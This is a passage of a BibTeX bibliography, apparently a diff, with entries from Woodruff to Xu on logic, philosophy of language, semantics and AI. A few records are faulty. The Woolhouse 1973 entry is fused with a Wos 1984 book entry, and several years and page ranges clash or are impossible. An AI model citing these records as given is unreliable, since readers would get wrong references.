year = {1980}, + address = {Belmont, California}, + topic = {philosophy-intro;} + } + +@incollection{ woodruff:1969a, + author = {Peter W. Woodruff}, + title = {Logic and Truth Value Gaps}, + booktitle = {Philosophical Problems in Logic: Some Recent Developments}, + publisher = {D. Reidel Publishing Co.}, + year = {1969}, + editor = {Karel Lambert}, + pages = {121--142}, + address = {Dordrecht}, + topic = {truth-value-gaps;} + } + +@article{ woodruff:1974a, + author = {Peter W. Woodruff}, + title = {A Modal Interpretation of Three-Valued Logic}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {433--439}, + topic = {modal-logic;multi-valued-logic;} + } + +@incollection{ woodruff:1976a, + author = {Robert L. Martin and Peter W. Woodruff}, + title = {On Representing `True-in{$L$}' + in {$L$}}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {113--117}, + address = {Dordrecht}, + topic = {truth;semantic-paradoxes;} + } + +@article{ woodruff:1984a, + author = {Peter W. Woodruff}, + title = {Paradox, Truth and Logic. Part {I}: Paradox and Truth}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + pages = {181--212}, + topic = {truth;truth-value-gaps;4-valued-logic;semantic-paradoxes;} } + +@incollection{ woodruff-parsons:1997a, + author = {Peter W. Woodruff and Terence D. Parsons}, + title = {Indeterminacy of Identity of Objects and Sets}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {321--348}, + address = {Oxford}, + topic = {vagueness;identity;foundations-of-set-theory;} + } + +@article{ woodruff:1999a, + author = {Peter W. Woodruff}, + title = {Partitions and Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {2}, + pages = {113--128}, + topic = {conditionals;} + } + +@incollection{ woods_j:1971a, + author = {John Woods}, + title = {Essentialism, Self-Identity, and Quantifying In}, + booktitle = {Identity and Individuation}, + publisher = {New York University Press}, + year = {1971}, + editor = {Milton K. Munitz}, + pages = {165--198}, + address = {New York}, + topic = {quantifying-in-modality;reference;} + } + +@article{ woods_j:1973a, + author = {John Woods}, + title = {Semantic Kinds}, + journal = {Philosophia}, + year = {1973}, + volume = {3}, + number = {2--3}, + pages = {117--151}, + topic = {natural-kinds;} + } + +@article{ woods_j:1973b, + author = {John Woods}, + title = {Descriptions, Essences and Quantified Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {2}, + pages = {304--321}, + topic = {quantifying-in-modality;reference;} + } + +@article{ woods_j:1975b, + author = {John Woods}, + title = {Identity and Modality}, + journal = {Philosophia}, + year = {1975}, + volume = {5}, + number = {1--2}, + pages = {69--119}, + topic = {identity;quantifying-in-modality;individuation;} + } + +@article{ woods_j-walton:1978a, + author = {John Woods and Douglas Walton}, + title = {Arresting Circles in Formal Dialogues}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {1}, + pages = {73--90}, + topic = {dialogue-logic;} + } + +@incollection{ woods_m:1976a, + author = {Michael Woods}, + title = {Existence and Tense}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {248--262}, + address = {Oxford}, + topic = {davidson-semantics;(non)existence;temporal-logic;} + } + +@book{ woods_m:1997a, + author = {Michael Woods}, + title = {Conditionals}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + note = {Published posthumously. Edited by David Wiggins, with + a commentary by Dorothy Edgington.}, + xref = {Review: harper:2000a.}, + topic = {conditionals;} + } + +@incollection{ woods_mj:1965a, + author = {Michael J. Woods}, + title = {Identity and Individuation}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {120--130}, + address = {Oxford}, + topic = {identity;individuation;} + } + +@article{ woods_wa-makhoul:1974a, + author = {William A. Woods and J. Makhoul}, + title = {Mechanical Inference Problems in Continuous Speech + Understanding}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {1}, + pages = {73--91}, + topic = {speech-recognition;} + } + +@incollection{ woods_wa:1975a1, + author = {William A. Woods}, + title = {What's in a Link: Foundations for Semantic Networks}, + booktitle = {Representation and Understanding: Studies in Cognitive + Science}, + publisher = {Academic Press}, + year = {1975}, + editor = {Daniel C. Bobrow and A.M. Collins}, + pages = {35--82}, + address = {New York}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See woods:1975a2.}, + topic = {kr;foundations-of-kr;semantic-nets;kr-course;} + } + +@incollection{ woods_wa:1975a2, + author = {William A. Woods}, + title = {What's in a Link: Foundations for Semantic Networks}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {217--242}, + xref = {Originally published in Daniel C. Bobrow and A.M. Collins; + Representation and Understanding: Studies in Cognitive + Science; Academic Press; 1975. See woods:1975a1.}, + topic = {kr;foundations-of-kr;semantic-nets;kr-course;} + } + +@incollection{ woods_wa:1981a, + author = {William A. Woods}, + title = {Procedural Semantics as a Theory of Meaning}, + booktitle = {Elements of Discourse Understanding}, + publisher = {Cambridge University Press}, + year = {1981}, + editor = {Arivind Joshi and Bonnie Webber and Ivan Sag}, + pages = {300--333}, + address = {Cambridge, England}, + topic = {procedural-semantics;pragmatics;} + } + +@article{ woods_wa:1982a1, + author = {William A. Woods}, + title = {Optimal Search Strategies for Speech Understanding + Control}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {3}, + pages = {295--326}, + xref = {Republication: woods:1982a2.}, + topic = {speech-recognition;search;} + } + +@incollection{ woods_wa:1982a2, + author = {William A. Woods}, + title = {Optimal Search Strategies for Speech + Understanding Control}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {30--68}, + address = {Los Altos, California}, + xref = {Journal Publication: woods:1982a1.}, + topic = {speech-recognition;search;} + } + +@article{ woods_wa:1987a, + author = {William A. Woods}, + title = {Don't Blame the Tool}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {228--237}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ woods_wa:1991a, + author = {William A. Woods}, + title = {Understanding Subsumption and Taxonomy: A Framework for + Progress}, + booktitle = {Principles of Semantic Networks: Explorations in + the Representation of Knowledge}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {John F. Sowa}, + pages = {45--94}, + address = {San Mateo, California}, + topic = {kr;classification;taxonomic-logics;taxonomies;kr-course;} + } + +@incollection{ woods_wa-schmolze:1992a, + author = {William A. Woods and James G. Schmolze}, + title = {The {\sc KL-One} Family}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {133--177}, + address = {Oxford}, + xref = {Also published in Computers and Mathematics with Applications; + vol. 23; 1992; 133--177}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@incollection{ woods_wa:1994a, + author = {William A. Woods}, + title = {Beyond Ignorance-Based Systems (Abstract)}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {646--645}, + address = {San Francisco, California}, + topic = {kr;reasoning-about-uncertainty;kr-course;} + } + +@incollection{ woodward:2000a, + author = {Jim Woodward}, + title = {Data, Phenomena, and Reliability}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S163--S179}, + address = {Newark, Delaware}, + topic = {counterfactuals;philosophy-of-science;scientific-data;} + } + +@incollection{ woody:2000a, + author = {Andrea I. Woody}, + title = {Putting Quantum Mechanics to Work in Chemistry: The Power + of Diagrammatic Representation}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S612--S627}, + address = {Newark, Delaware}, + topic = {philosophy-of-sciehce;diagrams;} + } + +@book{ wooffitt:1997a, + editor = {Robin Wooffitt}, + title = {Humans, Computers and Wizards: Analysing Human (Simulated) + Computer Interaction}, + publisher = {Routledge}, + year = {1997}, + address = {London}, + ISBN = {0415069483}, + topic = {HCI;} + } + +@book{ wooldridge-jennings_nr:1995a, + editor = {Michael J. Wooldridge and Nicholas R. Jennings}, + title = {Intelligent Agents: Proceedings of the + 1994 Workshop on Agent Theories, Architectures, and + Languages (ATAL--94)}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + topic = {agent-modeling;agent-architectures;} + } + +@book{ wooldridge-etal:1996a, + editor = {Michael J. Wooldridge and J.P. M\"uller and Miland Tambe}, + title = {Intelligent Agents Volume {II}---Proceedings of the + 1995 Workshop on Agent Theories, Architectures, and + Languages (ATAL--95)}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {agent-modeling;agent-architectures;} + } + +@book{ wooldridge:1999a, + author = {Michael J. Wooldridge}, + title = {Multiagent Systems: A Modern Approach to Distributed + Artificial Intelligence}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-73131-2}, + xref = {Review: adams_ja:2001a.}, + topic = {distributed-AI;distributed-systems;} + } + +@article{ woolhouse:1973a, + author = {R.S. Woolhouse}, + title = {Tensed Modalities}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {3}, + pages = {393--415}, + title = {Automated Reasoning: Introduction and Applications}, + publisher = {Prentice-Hall}, + year = {1984}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0130544531}, + topic = {theorem-proving;} + } + +@article{ wos-etal:1984a, + author = {L. Wos and S. Winker and B. Smith and R. Veroff and L. Henschen}, + title = {A New Use of an Automated Reasoning Assistant: Open + Questions in Equivalential Calculus and the Study of Infinite + Domains}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {3}, + pages = {303--356}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@book{ wos:1988a, + author = {Larry Wos}, + title = {Automated Reasoning: 33 Basic Research Problems}, + publisher = {Prentice-Hall}, + year = {1988}, + address = {Englewood Clifs, New Jersey}, + ISBN = {013054552X (pbk.)}, + topic = {theorem-proving;} + } + +@article{ wotawa:2002a, + author = {Franz Wotawa}, + title = {On the Relationship between Model-Based Debugging and + and Program Slicing}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {135}, + number = {1--2}, + pages = {125--143}, + topic = {model-based-reasoning;diagnosis;automatic-debugging;} + } + +@article{ wray:1987a, + author = {David Otway Wray}, + title = {Logic in Quotes}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {1}, + pages = {77--110}, + topic = {substitutional-quantification;} + } + +@article{ wray_kb:2002a, + author = {K. Brad Wray}, + title = {The Epistemic Significance of Collaborative Research}, + journal = {Philosophy of Science}, + year = {2002}, + volume = {69}, + number = {1}, + pages = {150--168}, + topic = {philosophy-of-science;social-aspects-of-science;} + } + +@article{ wreen:1989a, + author = {Michael J. Wreen}, + title = {Socrates is Called `Socrates'}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {359--371}, + topic = {proper-names;sense-reference;} + } + +@article{ wright_c:1975a, + author = {Crispin Wright}, + title = {On the Coherence of Vague Predicates}, + journal = {Synt\`hese}, + year = {1975}, + pages = {325--366}, + volume = {30}, + missinginfo = {number}, + topic = {vagueness;} + } + +@incollection{ wright_c:1976a1, + author = {Crispin Wright}, + title = {Language-Mastery and the Sorites Paradox}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John McDowell}, + pages = {223--247}, + address = {Oxford}, + xref = {Republication: wright_c:1976a2.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ wright_c:1976a2, + author = {Crispin Wright}, + title = {Language-Mastery and the Sorites Paradox}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {151--173}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: wright_c:1976a1.}, + topic = {vagueness;} + } + +@book{ wright_c:1983a, + author = {Crispin Wright}, + title = {Frege's Conception of Numbers as Objects}, + publisher = {Aberdeen University Press}, + year = {1983}, + address = {Aberdeen}, + ISBN = {0080303528}, + topic = {Frege;philosophy-of-mathematics;} + } + +@incollection{ wright_c:1986a, + author = {Crispin Wright}, + title = {Theories of Meaning and Speakers' Knowledge}, + booktitle = {Philosophy in {B}ritain Today}, + publisher = {State University of New York Press}, + year = {1986}, + editor = {Stuart G. Shanker}, + pages = {267--}, + address = {Albany, New York}, + topic = {foundations-of-semantics;philosophy-of-language;} + } + +@article{ wright_c:1987a1, + author = {Crispin Wright}, + title = {Further Reflections on the Sorites Paradox}, + journal = {Philosophical Topics}, + year = {1987}, + volume = {15}, + number = {1}, + pages = {227--290}, + xref = {Republication: wright_c:1987a2.}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ wright_c:1987a2, + author = {Crispin Wright}, + title = {Further Reflections on the Sorites Paradox}, + booktitle = {Vagueness: A Reader}, + publisher = {The {MIT} Press}, + year = {1997}, + editor = {Rosanna Keefe and Peter Smith}, + pages = {204--250}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: wright_c:1987a1.}, + topic = {vagueness;sorites-paradox;} + } + +@article{ wright_c:1992a, + author = {Crispin Wright}, + title = {Is Higher-Order Vagueness Coherent?}, + journal = {Analysis}, + year = {1992}, + volume = {52}, + number = {3}, + pages = {129--139}, + topic = {vagueness;} + } + +@book{ wright_c-etal:1998a, + editor = {Crispin Wright and Barry C. Smith and Cynthia Macdonald}, + title = {Knowing Our Own Minds}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0198236670 (hardcover)}, + topic = {introspection;} + } + +@article{ wright_c:2000a, + author = {Crispin Wright}, + title = {Truth as Sort of Epistemic: {P}utnam's Peregrinations}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {335--364}, + topic = {truth;realism;metaphysics;} + } + +@incollection{ wright_ce:1990a, + author = {Charles E. Wright}, + title = {Controlling Sequential Motor Activity}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {285--316}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;action;planning;} + } + +@article{ wright_m:1965a, + author = {Maxwell Wright}, + title = {`{I} Know' and Performative Utterances}, + journal = {Australasian Journal of Philosophy}, + year = {1965}, + volume = {43}, + pages = {35--37}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ wright_ra:1975a1, + author = {R.A. Wright}, + title = {Meaning$_{nn}$ and Conversational Implicature}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole and Jerry Morgan}, + pages = {363--382}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {implicature;speaker-meaning;pragmatics;} + } + +@book{ wright_rd:1998a, + editor = {Richard D. Wright}, + title = {Visual Attention}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + contentnote = {TC: + 1. Gary Hatfield, "Attention in Early Scientific Psychology" + 2. Anne Treisman, "The Perception of Features and Objects" + 3. Arien Mack and Irvin Rock, "Inattentional Blindness: + Perception without Attention" + 4. Steven P. Tipper and Bruce Weaver, "The Medium of + Attention: Location-based, Object-Centred, or + Scene-based? " + 5. Gordon D. Logan and Brian J. Compton, "Attention and Automaticity" + 6. Richard D. Wright and Lawrence M. Ward, "The Control of + Visual Attention" + 7. Steven Yantis, "Objects, Attention, and Perceptual Experience" + 10. Zenon Pylyshyn, "Visual Indexes in Spatial Vision and Imagery" + 11. Lawrence M. Ward, John J. McDonald, and Narly Golestani, + "Cross-Modal Control of Attention Shifts" + 12. Michael I. Posner, Mary K. Rothbart, Lisa Thomas-Thrapp, + and Gina Gerardi, "Development of Orienting to + Locations and Objects" + 13. Burkhart Fischer, "Attention in Saccades" + 14. Kimron Shapiro and Kathleen Terry, "The Attentional + Blink: The Eyes Have It (But So Does the Brain)" + 15. Richard D. Wright and Christian M. Richard, + "Inhibition-of-Return is not Reflexive" + 16. John Palmer, "Attentional Effects in Visual Search: + Relating Search Accuracy and Search Time" + 17. Steven J. Luck and Nancy J. Beach, "Visual Attention and + the Binding Problem: A Neurophysiological + Perspective" + 18. Hermann J. M\"uller, Glyn W. Humphreys, and Andrew C. + Olsen, "Search via Recursive Rejection (SERR): + Evidence with Normal and Neurological Patients" + 19. David LaBerge, "Attentional Emphasis in Visual Orienting + and Resolving" + } , + topic = {visual-attention;} + } + +@incollection{ wrobel:1996a, + author = {Stefan Wrobel}, + title = {Inductive Logic Programming}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {153--189}, + address = {Stanford, California}, + topic = {inductive-logic-programming;} + } + +@inproceedings{ wu_dk:1995a, + author = {Dekai Wu}, + title = {Trainable Coarse Bilingual Grammars for Parallel Text + Bracketing}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {69--81}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;automatic-corpus-bracketing;} + } + +@inproceedings{ wu_dk:1996a, + author = {Dekai Wu}, + title = {A Polynomial-Time Algorithm for Statistical Machine + Translation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {152--158}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {machine-translation;statistical-nlp;polynomial-algorithms;} + } + +@article{ wu_dk:1997a, + author = {DeKai Wu}, + title = {Stochastic Inversion Transduction Grammars and Bilingual + Parsing of Parallel Corpora}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {3}, + pages = {377--403}, + topic = {parsing-algorithms;machine-translation;} + } + +@article{ wu_kj:1972a, + author = {Kathleen Johnson Wu}, + title = {Hintikka and Defensibility: Some Further Remarks}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {259--261}, + topic = {epistemic-logic;} + } + +@article{ wu_kj:1975a, + author = {Kathleen Johnson Wu}, + title = {On {\bf C.K.K*} and the {\bf KK}-Thesis}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {1}, + pages = {91--95}, + topic = {epistemic-logic;} + } + +@article{ wu_xd:2000a, + author = {Xindong Wu}, + title = {Building Intelligent Learning Database Systems}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {61--67}, + topic = {machine-learning;databases;} + } + +@techreport{ wu_zb-etal:1992a, + author = {Zhi Biao Wu and Loke Soo Hsu and and Chew Lim Tan}, + title = {A Survey of Statistical Approaches to Natural Language + Processing}, + institution = {Department of Information Systems and Computer + Science, National University of Singapore}, + number = {TRA4/92}, + year = {1992}, + address = {Singapore}, + topic = {probabilistic-parsers;} + } + +@unpublished{ wunderlich:1976a, + author = {Dieter Wunderlich}, + title = {Behauptungen, konditionale {S}prechackte und + praktische {S}chl\"usse}, + year = {1975}, + note = {Unpublished manuscript.}, + topic = {speech-acts;pragmatics;practical-reasoning;} + } + +@incollection{ wunderlich:1976b, + author = {Dieter Wunderlich}, + title = {Towards an Integrated Theory of Grammatical and + Pragmatical Meaning}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {251--277}, + address = {Dordrecht}, + topic = {speech-acts;pragmatics;} + } + +@unpublished{ wunderlich:1976c, + author = {Dieter Wunderlich}, + title = {Frages\"atze und {F}ragen}, + year = {1976}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess.}, + topic = {interrogatives;} + } + +@article{ wunderlich:1977a, + author = {Dieter Wunderlich}, + title = {Assertions, Conditional Speech Acts, and Practical + Inferences}, + journal = {Journal of Pragmatics}, + year = {1994}, + volume = {1}, + number = {1}, + pages = {13--46}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ wunderlich:1977b, + author = {Dieter Wunderlich}, + title = {On Problems of Speech Act Theory}, + booktitle = {Basic Problems in Methodology and Linguistics}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + editor = {Robert E. Butts and Jaakko Hintikka}, + pages = {243--358}, + address = {Dordrecht}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ wunderlich:1979a, + author = {Dieter Wunderlich}, + title = {Meaning and Context-Dependence}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {161--171}, + topic = {nl-semantics;indexicals;context;} + } + +@book{ wunderlich-vonstechow:1991a, + editor = {Dieter Wunderlich and Arnim {von Stechow}}, + title = {Semantik/Semantics: an International Handbook + of Contemporary Research}, + publisher = {Walter de Gruyter}, + year = {1991}, + address = {Berlin}, + topic = {nl-semantics;} + } + +@article{ wunderlich:1997a, + author = {Dieter Wunderlich}, + title = {Cause and the Structure of Verbs}, + journal = {Linguistic Inquiry}, + year = {1997}, + volume = {28}, + number = {1}, + pages = {27--68}, + topic = {causatives;lexical-semantics;} + } + +@inproceedings{ wurbel-etal:2000a, + author = {Eric W\"urbel and Robert Jeansoulin and Odile Papini}, + title = {Revision: An Application in the Framework of {GIS}}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {505--515}, + topic = {geographical-reasoning;diagnosis;} + } + +@article{ wurman-etal:2002a, + author = {Peter R. Wurman and Michael P. Wellman and William E. Walsh}, + title = {Specifying Rules for Electronic Auctions}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {15--23}, + topic = {auction-protocols;} + } + +@article{ wurtz:2000a, + author = {Rolf P. W\"urtz}, + title = {Gossiping Nets}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {295--299}, + xref = {Review of anderson_ja-rosenfeld:1998a.}, + topic = {history-of-AI;connectionism;} + } + +@article{ wurzel:1998a, + author = {Wolfgang Ullrich Wurzel}, + title = {On Markedness}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {53--71}, + topic = {markedness;} + } + +@article{ wyer-collins_je:1992a, + author = {Robert S. {Wyer, Jr.} and James E. {Collins II}}, + title = {A Theory of Humor Elicitation}, + journal = {Psychological Review}, + volume = {99}, + number = {4}, + pages = {663--668}, + year = {1992}, + topic = {humor2;cognitive-psychology;} + } + +@incollection{ xia-wu_dk:1996a, + author = {Xuanyin Xia and Dekai Wu}, + title = {Parsing {C}hinese with Almost-Context-Free Grammar}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {13--22}, + address = {Somerset, New Jersey}, + topic = {parsing-algorithms;Chinese-language;} + } + +@incollection{ xia_xy-wu_dk:1996a, + author = {Xuanyin Xia and Dekai Wu}, + title = {Parsing {C}hinese with Almost-Context-Free Grammar}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {13--22}, + address = {Somerset, New Jersey}, + topic = {parsing-algorithms;Chinese-language;} + } + +@article{ xia_y-etal:1997a, + author = {Yan Xia and S.S. Iyengar and N.E. Brenner}, + title = {An Event Driven Integration Reasoning Scheme for Handling + Dynamic Threats in an Unstructured Environment}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {1}, + pages = {169--186}, + topic = {route-planning;} + } + +@article{ xiang:1996a, + author = {Y. Xiang}, + title = {A Probabilistic Framework for Cooperative Multi-Agent + Distributed Interpretation and Optimization of Communication}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {295--342}, + topic = {Bayesian-networks;distributed-systems;artificial-societies;} + } + +@incollection{ xiong-etal:1992a, + author = {Yalin Xiong and Norman Sadeh and Katia Sycara}, + title = {Intelligent Backtracking Techniques for Job Shop + Scheduling}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {14--23}, + address = {San Mateo, California}, + topic = {kr;scheduling;search;AI-algorithms;backtracking;kr-course;} + } + +@article{ xu_h:1995a, + author = {Hong Xu}, + title = {Computing Marginals for Arbitrary Subsets from Marginal + Representation in {M}arkov Trees}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {177--189}, + acontentnote = {Abstract: + Markov trees and clique trees are the alternative + representations of valuation networks and belief networks that + are used by local computational techniques for efficient + reasoning. However, once the Markov tree has been created, the + existing techniques can only compute the marginals for the + vertices of the Markov tree or for a subset of variables which + is contained in one vertex. This paper presents a method for + computing the marginal for a subset which may not be contained + in one vertex, but is a subset of the union of several vertices. + The proposed method allows us to change the Markov tree to + include a vertex containing the new subset without changing any + information in the original vertices, thus avoiding possible + repeated computations. Moreover, it can compute marginals for + any subsets from the marginal representation in the Markov tree. + By using the presented method, we can easily update belief for + some variables given some observations. } , + topic = {Bayesian-networks;} + } + +@article{ xu_m:1988a, + author = {Ming Xu}, + title = {On Some {U,S}-Tense Logics}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {17}, + pages = {181--202}, + number = {2}, + topic = {branching-time;temporal-logic;tmix-project;} + } + +@unpublished{ xu_m:1989a, + author = {Ming Xu}, + title = {Modalities in {stit} Theory Without the Refref + Conjecture}, + year = {1989}, + note = {Unpublished Manuscript, Philosophy Department, University of + Pittsburgh.}, + topic = {stit;} + } + +@article{ xu_m:1991a, + author = {Ming Xu}, + title = {Some Descending Chains of Incomplete Modal Logics}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {3}, + pages = {265--283}, + topic = {modal-logic;} + } + +@unpublished{ xu_m:1991b, + author = {Ming Xu}, + title = {Decidability of {\em Stit} Theory with a Single + Agent and the Refref Equivalence}, + year = {1991}, + note = {Unpublished manuscript, University of Pittsburgh}, + topic = {stit;} + } + +@article{ xu_m:1994a, + author = {Ming Xu}, + title = {Decidability of Deliberative {stit} Theories With Multiple + Agents}, + journal = {Studia Logica}, + year = {1994}, + volume = {53}, + pages = {259--298}, + missinginfo = {number}, + topic = {stit;} + } + +@inproceedings{ xu_m:1994b, + author = {Ming Xu}, + title = {Decidability of Deliberative {stit} Theories with Multiple + Agents}, + booktitle = {Temporal Logic, First International Conference}, + year = {1994}, + editor = {Dov Gabbay and Hans J. Ohlbach}, + pages = {332--348}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {stit;} + } + +@article{ xu_m:1994c, + author = {Ming Xu}, + title = {Doing and Refraining From Refraining}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + pages = {621--632}, + number = {6}, + topic = {stit;} + } + +@unpublished{ xu_m:1994d, + author = {Ming Xu}, + title = {Axioms for Deliberative {stit}}, + year = {1994}, + note = {Unpublished Manuscript, Philosophy Department, University of + Pittsburgh.}, + topic = {stit;} + } + +@article{ xu_m:1995a, + author = {Ming Xu}, + title = {On the Basic Logic of {stit} With a Single Agent}, + journal = {Journal of Symbolic Logic}, + year = {1995}, + volume = {60}, + pages = {459--483}, + missinginfo = {number}, + topic = {stit;} + } + +@article{ xu_m:1995b, + author = {Ming Xu}, + title = {Busy Choice Sequences, Refraining Formulas and Modalities}, + journal = {Studia Logica}, + year = {1995}, + volume = {54}, + pages = {267--301}, + missinginfo = {number}, + topic = {stit;} + } + +@unpublished{ xu_m:1995c, + author = {Ming Xu}, + title = {Causation in Branching Time {I}: Transitions, Events, and + Causes}, + year = {1995}, + note = {Unpublished Manuscript, Philosophy Department, University of + Pittsburgh.}, + topic = {stit;causality;} + } + +@unpublished{ xu_m:1995d, + author = {Ming Xu}, + title = {Causation in Branching Time {II}: Structures of Events and + Causal Regularities}, + year = {1995}, + note = {Unpublished Manuscript, Philosophy Department, University of + Pittsburgh.}, + topic = {stit;causality;} + } + +@article{ xu_m:1998a, + author = {Ming Xu}, + title = {Axioms for Deliberative {\it Stit}}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {5}, + pages = {505--552}, + topic = {stit;} + } + +@inproceedings{ xu_w-rudnicky:2000a, + author = {Wei Xu and Alexander I. 